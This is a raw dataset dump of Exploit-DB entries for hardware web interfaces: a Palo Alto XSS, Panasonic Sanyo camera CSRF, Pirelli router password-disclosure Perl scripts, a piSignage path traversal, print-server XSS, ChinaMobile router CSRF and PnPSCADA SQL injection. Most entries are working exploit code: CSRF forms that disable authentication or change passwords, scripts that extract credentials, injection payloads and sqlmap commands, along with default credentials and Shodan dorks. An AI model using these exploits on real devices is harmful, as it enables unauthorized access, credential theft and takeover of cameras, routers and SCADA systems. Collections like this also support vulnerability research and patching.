deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12660
Description: Palo Alto Network Vulnerability - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2010-05-19
Author: Jeromie Jackson

Exploit:
Palo Alto Network Vulnerability - Cross-Site Scripting (XSS)
------------------------------

Class: Cross-Site Scripting (XSS) Vulnerability
*CVE: CVE-2010-0475 *
*Remote: Yes
Local: Yes
Published: May 11, 2010 08:30AM *
Timeline:Submission to MITRE: 1/18/2010
Vendor Contact: 2/18/2010
Vendor Response: 2/18/2010
Patch Available: 5/2010 Patched in maintenance releases (3.1.1 & 3.0.9)
*Credit: Jeromie Jackson CISSP, CISM*
        COBIT & ITIL Certified
        President- San Diego Open Web Application Security Project (OWASP)
        Vice President- San Diego Information Audit & Control Association
(ISACA)
        SANS Mentor
        LinkedIn: www.linkedin.com/in/securityassessment
        Blog: www.JeromieJackson.com
        Twitter: www.twitter.com/Security_Sifu

Validated Vulnerable:
   Latest Version Per December 31, 2009

Discussion:

A Stored Cross-Site Scripting (XSS) vulnerability was found within the Palo
Alto interface. By crafting a URL that includes XSS code it is possible to
inject malicious data, redirect the user to a bogus replica of the real
website, or other nefarious activity.

Exploit:
Single Line working-
https://10.32.5.223:443/esp/editUser.esp?mode=edit&origusername=test&deviceC=localhost.localdomain&vsysC=localhost.localdomain%2Fvsys1&vsys=&profile=&cfgchange=&o[CREDENTIAL_REDACTED]=********&c[CREDENTIAL_REDACTED]=vsysadmin


&admin-role=%5Bobject+Object%5D&bSubmit=O

WORKING FOR REDIRECT TO LOAD cookies into URL.

https://10.32.5.223:443/esp/editUser.esp?mode=edit&origusername=test&deviceC=localhost.localdomain&vsysC=localhost.localdomain%2Fvsys1&vsys=&profile=&cfgchange=&o[CREDENTIAL_REDACTED]=********&c[CREDENTIAL_REDACTED]=vsysadmin&admin-role=%5Bobject+Object%5D&bSubmit=O

Solution:
A patch will be required from the vendor. It is recommended a routine to
sanitize user input be consistently implemented throughout the application
to mitigate other such occurrences within the application.

References:
OWASP Cross-Site Scripting (XSS) Attack Discussion
Rsnake's Cross-Site Scripting (XSS) Attack Cheat sheet
Exploit-DB #50172
Description: Panasonic Sanyo CCTV Network Camera 2.03-0x - Cross-Site Request Forgery (Change Password)
Type: webapps
Platform: hardware
Date: 2021-08-02
Author: LiquidWorm

Exploit:
# Exploit Title: Panasonic Sanyo CCTV Network Camera 2.03-0x - 'Disable Authentication / Change Password' CSRF
# Date: 13.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.panasonic.com

<!--

Panasonic Sanyo CCTV Network Camera 2.03-0x CSRF Disable Authentication / Change Password


Vendor: Panasonic Corporation | SANYO Electric Co., Ltd.
Product web page: https://www.panasonic.com
                  https://www.sanyo-av.com
                  https://panasonic.net/sanyo/cs/index.html

Affected version: Model: VCC-HD5600P, FrmVer: 2.03-06 (110315-00),  SubVer: 1.01-00 (100528-00)
                  Model: VDC-HD3300P, FrmVer: 2.03-08 (111222-00),  SubVer: 1.01-00 (100528-00)
                  Model: VDC-HD3300P, FrmVer: 1.02-05 (101005-07),  SubVer: 1.01-00 (100528-00)
                  Model: VCC-HD3300,  FrmVer: 2.03-02 (110318-00A), SubVer: 1.01-00 (100528-00)
                  Model: VDC-HD3100P, FrmVer: 2.03-00 (110204-02),  SubVer: 1.01-00 (100528-00)
                  Model: VCC-HD2100P, FrmVer: 2.03-02 (110318-00A), SubVer: 1.01-00 (100528-00)

Summary: SANYO network camera and network optional board with the
latest H.264 compression technology provide the optimum surveillance
applications with high quality real time moving image at low bandwidth.
Simultaneous stream of H.264 and JPEG data and also COAX video out
to provide flexible solution for digital and analogue combined system.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. These actions can be exploited to perform authentication
detriment and account password change with administrative privileges if
a logged-in user visits a malicious web site.

Tested on: Embedded Linux
           CGI


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5659
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5659.php


13.07.2021

-->


           [CSRF]
[Anonymous user log in = ON]
orororororororororororororor
  [Change admin password]

<html>
  <body>
    <form action="http://10.0.0.3:82/cgi-bin/user_registration.cgi" method="POST">
      <input type="hidden" name="anonymous_sw" value="1" /> <!--Disable authentication-->
      <input type="hidden" name="admin1_pw" value="Ztream0017" /> <!--Change admin password-->
      <input type="hidden" name="admin2_pw" value="******" />
      <input type="hidden" name="admin3_pw" value="******" />
      <input type="hidden" name="operator_pw" value="********" />
      <input type="hidden" name="guest_pw" value="*****" />
      <input type="submit" value="Push" />
    </form>
  </body>
</html>

<!--
[Defaults]
admin:admin
admin2:admin2
admin3:admin3
operator:operator
operator2:operator2
guest:guest
-->
Exploit-DB #29795
Description: Pirelli Discus DRG A125g - Local Password Disclosure
Type: webapps
Platform: hardware
Date: 2013-11-24
Author: Sebastián Magof

Exploit:
#!/usr/bin/perl 

#Author: Sebastián Magof

#Hardware: pirelli discus DRG A125g

#Vulnerable file: wlbasic.html

#Bug: Wifi Password Disclosure

#Type: Local

# (\/)

# (**) ±lpha

#(")(")

#usage:perl exploit.pl

use LWP::UserAgent;

use HTTP::Request;

#begin

print "\n\n************************************************************\n";

print "*  Pirelli Discus ADSL DRG A125g Wifi password disclosure  *\n";

print "************************************************************\n\n";



#wifi pwd disclosure file

my $url = "http://10.0.0.2/wlbasic.html";



#UserAgent

my $ua = LWP::UserAgent->new();

$ua->agent("Mozilla/5.0");



#Request.

my $req = HTTP::Request->new(GET => $url);

my $request = $ua->request($req);

my $content = $request->content(); #content

my ($ssi) = $content =~ m/ssid = '(.+)'/;

my ($pwd) = $content =~ m/wpaPskKey = '(.+)'/;

my ($enc) = $content =~ m/var wpa = '(.+)'/;

#ssid+encryption method+pwd;

print "Ssid: $ssi\n";

print "Encryption method: $enc\n";

print "Password: $pwd\n\n";

exit(0);



__EOF__
Exploit-DB #29262
Description: Pirelli Discus DRG A125g - Password Disclosure
Type: webapps
Platform: hardware
Date: 2013-10-28
Author: Sebastián Magof

Exploit:
#!/usr/bin/perl 
#Author: Sebastián Magof
#Vulnerable file: wansinglecfg.cmd
#Bug: Password Disclosure
# (\/)
# (**) αlpha
#(")(")
#usage:perl exploit.pl
use LWP::UserAgent;
use HTTP::Request;
#begin
print "\n\n*******************************************************\n";
print "*  Pirelli Discus ADSL DRG A125g password disclosure  *\n";
print "*******************************************************\n\n";
print "[+] Type your Gateway. (#default gateway 10.0.0.2) : "; #10.0.0.2 default Gateway
$gateway =<STDIN>;

#pwd disclosure file
my $url = "http://$gateway/wansinglecfg.cmd?action=view";

#UserAgent
my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0");

#Request.
my $req = HTTP::Request->new(GET => $url);
my $request = $ua->request($req);
my $content = $request->content(); #content
my ($usr) = $content =~ m/frmLoad\('(.+)', '/;
my ($pwd) = $content =~ m/$usr', '(.+)',/;

#usr+pwd;
print "User: $usr\nPassword: $pwd\n\n";
exit(0);

__EOF__
Exploit-DB #29794
Description: Pirelli Discus DRG A125g - Remote Change SSID Value
Type: webapps
Platform: hardware
Date: 2013-11-24
Author: Sebastián Magof

Exploit:
# Exploit Title: Pirelli Discus DRG A125g remote change SSID value
vulnerability
# Hardware: Pirelli Discus DRG A125g
# Date: 2013/11/23
# Exploit Author: Sebastián Magof
# Tested on: Linux/Windows
# Twitter: @smagof
# Greetz: Family, friends && under guys.
# Special Greetz:
# (\/)
# (**) αlpha
#(")(")


#Exploit:

http://10.0.0.2/wlbasic.wl?wlSsidIdx=0&wlSsid=bysmagof

#info: where the parameter "wlSsid"  is where the attacker will enter the
new SSID. If the victim clicks on the url your modem / router will reboot
automatically with the new SSID provided by the attacker.
Exploit-DB #29796
Description: Pirelli Discus DRG A125g - Remote Change WiFi Password
Type: webapps
Platform: hardware
Date: 2013-11-24
Author: Sebastián Magof

Exploit:
# Exploit Title: Pirelli Discus DRG A125g remote change wifi password
vulnerability
# Hardware: Pirelli Discus DRG A125g
# Date: 2013/11/23
# Exploit Author: Sebastián Magof
# Tested on: Linux/Windows
# Twitter: @smagof
# Greetz: Family, friends && under guys.
# Special Greetz:
# (\/)
# (**) αlpha
#(")(")


#Exploit:

http://10.0.0.2/wladv.wl?wlSsidIdx=0&wlHide=0&wlAuthMode=psk2&wlAuth=0&wlWep=disabled&wlWpaPsk=PASSWORDHERE&wlWpaGtkRekey=0&wlKeyBit=1&wlPreauth=1&wlWpa=tkip

#info: where the parameter wlWpaPsk=PASSWORDHERE is where we will enter the
password we want to put the victim wifi. If the victim clicks on the url
your modem / router will reboot automatically with the new password
provided by the attacker.
Exploit-DB #47882
Description: piSignage 2.6.4 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2020-01-07
Author: JunYeong Ko

Exploit:
# Exploit Title: piSignage 2.6.4 - Directory Traversal
# Date: 2019-11-13
# Exploit Author: JunYeong Ko
# Vendor Homepage: https://pisignage.com/
# Version:  piSignage before 2.6.4
# Tested on: piSignage before 2.6.4
# CVE : CVE-2019-20354

Summary:
The web application component of piSignage before 2.6.4 allows a remote attacker (authenticated as a low-privilege user) to download arbitrary files from the Raspberry Pi via api/settings/log?file=../ path traversal. In other words, this issue is in the player API for log download.

PoC:
1. Click the Log Download button at the bottom of the 'piSignage' administration page.
2. HTTP Packet is sent when the button is pressed.
3. Change the value of 'file' parameter to ../../../../../../../../../../etc/passwd.
4. You can see that the /etc/passwd file is read.

References:
https://github.com/colloqi/piSignage/issues/97
Exploit-DB #17117
Description: Planet FPS-1101 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2011-04-04
Author: b0telh0

Exploit:
GotGeek Labs
http://www.gotgeek.com.br/

Planet FPS-1101 Cross-site Scripting Vulnerability



[+] Description

Equipped with the Parallel printing interfaces, the FPS-1101 makes your
printer available be shared in most popular network environment.

With the embedded web server, the FPS-1101 is configurable through your
network PC's Web Browser. Moreover, PLANET also provides a utility of
management for Microsoft Windows systems. With various network printing
methods included Windows Peer-to-Peer printing, NetWare and Windows server
based Queues printing, LPR printing, Internet Printing Protocol (IPP) and
AppleTalk for Macintosh, the FPS-1101 can be applied to any network easily.



[+] Information

Title: Planet FPS-1101 Cross-site Scripting Vulnerability
Shodan Dork: ZOT-PS-30/8.3.0013 -WWW-Authenticate
Advisory: gg-011-2011
Date: 03-15-2011
Last update: 03-26-2011
Link: http://www.gotgeek.com.br/pocs/gg-011-2011.txt



[+] Vulnerabilities

Stored Cross-site Scripting:
Web interface from FPS-1101 Print Server is affected by stored cross-site scripting
vulnerability because it fails to properly sanitize user-supplied input at
"NDSContext" field in "NetWare NDS Settings" area.
An attacker may leverage this issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site.

After injecting the XSS code, you need to access Netware status page.


Affected Versions:

Planet FPS-1101 10/100Mbps Direct Attached Print Server
Firmware: 8.03.30A 0013 (ZOT-PS-30/8.3.0013)
          8.03.30A 0007 (ZOT-PS-30/8.3.0007)

Other versions may also be vulnerable.



[+] Proof of Concept/Exploit

XSS:
http://target/RESTART.HTM?NDSContext=</script><script>alert("xss")</script><script>

and then..

http://target/NETWARE.HTM



[+] Timeline

24-03-2011: first contact to vendor.
27-03-2011: support contact response.
28-03-2011: second contact and more information was sent.
03-04-2011: no vendor response.
04-04-2011: advisory published.



[+] References

http://www.planet.com.tw/en/product/product_ov.php?id=2359



[+] Credits

b0telh0
Exploit-DB #17114
Description: Planex Mini-300PU & Mini100s - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2011-04-04
Author: b0telh0

Exploit:
GotGeek Labs
http://www.gotgeek.com.br/

Planex Mini-300PU & Mini100s Cross-site Scripting Vulnerability



[+] Description

Mini-300PU:
The PLANEX Mini-300PU is the greatest network printing solution to both
USB and Parallel printer ports. It provides 2 USB 2.0 and 1 Parallel printer
ports, which can work with 3 printers at the same time.
You could share multiple printers with your network clients in your office
or at home with different O/S Base, including Windows 2000/XP, Linux, and Mac OS 8.1,
or even higher: Unix, Netware. PLANEX Mini-300PU Printer Server is your best choice.

Mini100s:
The Mini100s parallel port print server directly attaches to a printer. The
print server supports IPP, and even a network beginner can set up the product
with ease via the supplied configuration utility for Windows "Smart Print Manager 3".



[+] Information

Title: Planex Mini-300PU & Mini100s Cross-site Scripting Vulnerability
Shodan Dork: ZOT-PS-39/6.2.0001 -WWW-Authenticate
             ZOT-PS-30/8.3.0013 -WWW-Authenticate
Advisory: gg-008-2011
Date: 03-15-2011
Last update: 03-26-2011
Link: http://www.gotgeek.com.br/pocs/gg-008-2011.txt



[+] Vulnerabilities

Stored Cross-site Scripting:
Web interface from Mini-300PU and Mini100s Print Servers are affected by stored
cross-site scripting vulnerability because it fails to properly sanitize
user-supplied input at "NDSContext" field in "NetWare NDS Settings" area.
An attacker may leverage this issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site.

After injecting the XSS code, you need to access Netware status page.


Affected Versions:

Planex Mini-300PU Print Server
Firmware: 6.02.39P (ZOT-PS-39/6.2.0001)

Planex Mini100s Print Server
Firmware: 8.03.30P 0013 (ZOT-PS-30/8.3.0013)
	  8.03.30P 0007 (ZOT-PS-30/8.3.0007)

Other versions may also be vulnerable.



[+] Proof of Concept/Exploit

XSS:
http://target/RESTART.HTM?NDSContext=</script><script>alert("xss")</script><script>

and then..

http://target/NETWARE.HTM



[+] Timeline

24-03-2011: first contact to vendor.
25-03-2011: support contact response, asking more details.
27-03-2011: more information sent.
03-04-2011: no vendor response.
04-04-2011: advisory published.



[+] References

http://www.planex.net/product/print/mini-300pu.htm
http://www.planex.net/product/print/mini100s.htm



[+] Credits

b0telh0
Exploit-DB #46581
Description: PLC Wireless Router GPN2.4P21-C-CN - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2019-03-20
Author: Kumar Saurav

Exploit:
# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Cross-Site Request Forgery (CSRF)
# Date: 14/01/2019
# Exploit Author: Kumar Saurav
# Reference: https://0dayfindings.home.blog/2019/01/15/plc-wireless-router-gpn2-4p21-c-cn-cross-site-request-forgery-csrf/
# Vendor: ChinaMobile
# Category: Hardware
# Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)
# Tested on: Windows
# CVE : CVE-2019-6282

#Description: ChinaMobile PLC Wireless Router GPN2.4P21-C-CN devices with firmware
W2001EN-00 have CSRF vulnerability via the cgi-bin/webproc?getpage=html/index.html
subpage=wlsecurity URI, allowing an Attacker to change the Wireless Security Password.

#Reproduction Steps:

Note: This enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.

Step 1: User login to PLC wireless router

Step 2: User visits the attacker's malicious web page (PLC_CSRF.html)

Step 3: PLC_CSRF.html exploits CSRF vulnerability and changes the wireless Security (WPA/WPA2) key to "PSWDmatlo331#@!"

Step 4: (192.168.59.254 in my Case)

<html>
<body>
  <form method="POST" action="http://192.168.59.254:80/cgi-bin/webproc">
    <input type="text" name="sessionid" value="2a39a09e">
    <input type="text" name="language" value="en_us">
    <input type="text" name="sys_UserName" value="admin">
    <input type="text" name="var:menu" value="setup">
    <input type="text" name="var:page" value="wireless">
    <input type="text" name="var:subpage" value="wlsecurity">
    <input type="text" name="var:errorpage" value="wlsecurity">
    <input type="text" name="getpage" value="html/index.html">
    <input type="text" name="errorpage" value="html/index.html">
    <input type="text" name="var:arrayid" value="0">
    <input type="text" name="obj-action" value="set">
    <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType" value="11i">
    <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes" value="AESEncryption">
    <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode" value="PSKAuthentication">
    <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAGroupRekey" value="100">
    <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase" value="PSWDmatlo331#@!">
    <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_PSKExpression" value="KeyPassphrase">
    <input type="submit" value="Send">
  </form>
</body>
</html>
Exploit-DB #46580
Description: PLC Wireless Router GPN2.4P21-C-CN - Incorrect Access Control
Type: webapps
Platform: hardware
Date: 2019-03-20
Author: Kumar Saurav

Exploit:
# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Incorrect Access
Control
# Date: 14/01/2019
# Exploit Author: Kumar Saurav
# Reference: https://0dayfindings.home.blog/2019/01/15/plc-wireless-router-gpn2-4p21-c-cn-incorrect-access-control/
# Vendor: ChinaMobile
# Category: Hardware
# Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)
# Tested on: Windows
# CVE : CVE-2019-6279

#Description: ChinaMobile PLC Wireless Router GPN2.4P21-C-CN devices with
firmware
W2001EN-00 have an Incorrect Access Control vulnerability via the
cgi-bin/webproc?getpage=html/index.html
subpage=wlsecurity URI, allowing an Attacker to change the Wireless
Security Password.

Reproduction Steps:
Step 1: Building a malicious html web page
Step 2: Attacker’s wants to change the wireless security (WPA/WPA2) key to
“PSWDmatlo331#@!” (in my case)

Step 3: (192.168.59.254 in my Case)
<html>
<body>
<form method=”POST” action=”http://192.168.59.254:80/cgi-bin/webproc “>
<input type=”text” name=”sessionid” value=”2a39a09e”>
<input type=”text” name=”language” value=”en_us”>
<input type=”text” name=”sys_UserName” value=”admin”>
<input type=”text” name=”var:menu” value=”setup”>
<input type=”text” name=”var:page” value=”wireless”>
<input type=”text” name=”var:subpage” value=”wlsecurity”>
<input type=”text” name=”var:errorpage” value=”wlsecurity”>
<input type=”text” name=”getpage” value=”html/index.html”>
<input type=”text” name=”errorpage” value=”html/index.html”>
<input type=”text” name=”var:arrayid” value=”0?>
<input type=”text” name=”obj-action” value=”set”>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType ”
value=”11i”>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes”
value=”AESEncryption”>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode”
value=”PSKAuthentication”>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAGroupRekey”
value=”100?>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase”
value=”PSWDmatlo331#@!”>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_PSKExpression”
value=”KeyPassphrase”>
<input type=”submit” value=”Send”>
</form>
</body>
</html>

Step 4: save this as Incorrect_Access_Control.html
Step 5: Planting this malicious web page (Incorrect_Access_Control.html)
that are likely to be visited by the victim’s (by social engineering) or
any user connected in the Access Point (AP) will have to visit this page or
any attacker’s connected in the AP will trigger this exploit.
Step 6: After execution of above exploit, wireless security (WPA/WPA2) key
will change!!

Note: This vulnerability allowing an attacker to reproduce without login.
Exploit-DB #48757
Description: PNPSCADA 2[PII_REDACTED]20 - 'interf' SQL Injection (Authenticated)
Type: webapps
Platform: hardware
Date: 2020-08-20
Author: İsmail ERKEK

Exploit:
# Exploit Title: PNPSCADA 2[PII_REDACTED]20 - 'interf' SQL Injection (Authenticated)
# Google Dork: -
# Date: 2020-08-17
# Exploit Author: İsmail ERKEK
# Vendor Homepage: http://wiki.pnpscada.com/forumHome.jsp
# Version: 2[PII_REDACTED]20
# Tested on: -


1. Description:
----------------------

PNPSCADA  2[PII_REDACTED]20 allows SQL Injection via parameter 'interf' in
/browse.jsp. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.

2. Proof of Concept:
----------------------

In Burpsuite intercept the request from one of the affected pages with
'interf' parameter and save it like fuel.req Then run SQLmap to extract the
data from the database:

sqlmap -r req-pnp-browse.txt --risk=3 --level=5 --dbs --random-agent

3. Example payload:
----------------------

(time-based blind)

memh=[PII_REDACTED]60085058&searchStr=&replaceId=k1&multiple=yes&interf=115 AND
6380=(SELECT 6380 FROM PG_SLEEP(5))&page=1&mselect=98831

4. Burpsuite request:
----------------------

POST /browse.jsp HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer:
http://127.0.0.1/browse.jsp?memh=[PII_REDACTED]362297745&interf=115&replaceId=k1&multiple=yes
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Cookie: wiki=; psl=[PII_REDACTED]; JSESSIONID=1ojrclvd94cpfebapnqebli37

memh=[PII_REDACTED]60085058&searchStr=*&replaceId=k1&multiple=yes&interf=115*&page=1&mselect=98831



Best Regards.
Ek alanı
Exploit-DB #51448
Description: PnPSCADA v2.x - Unauthenticated PostgreSQL Injection
Type: webapps
Platform: hardware
Date: 2023-05-23
Author: Momen Eldawakhly

Exploit:
# Exploit Title: PnPSCADA v2.x - Unauthenticated PostgreSQL Injection
# Date: 15/5/2023
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Samurai Digital Security Ltd
# Vendor Homepage: https://pnpscada.com/
# Version: PnPSCADA (cross platforms): v2.x
# Tested on: Unix
# CVE : CVE-2023-1934
# Proof-of-Concept: https://drive.google.com/drive/u/0/folders/1r_HMoaU3P0t-04gMM90M0hfdBRi_P0_8

SQLi crashing point:

GET /hitlogcsv.isp?userids=1337'&startdate=
2022-12-138200083A0093A00&enddate=2022-12-138201383A1783A00
HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US)
AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0
Safari/534.14
Host: vulnerablepnpscada.int
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close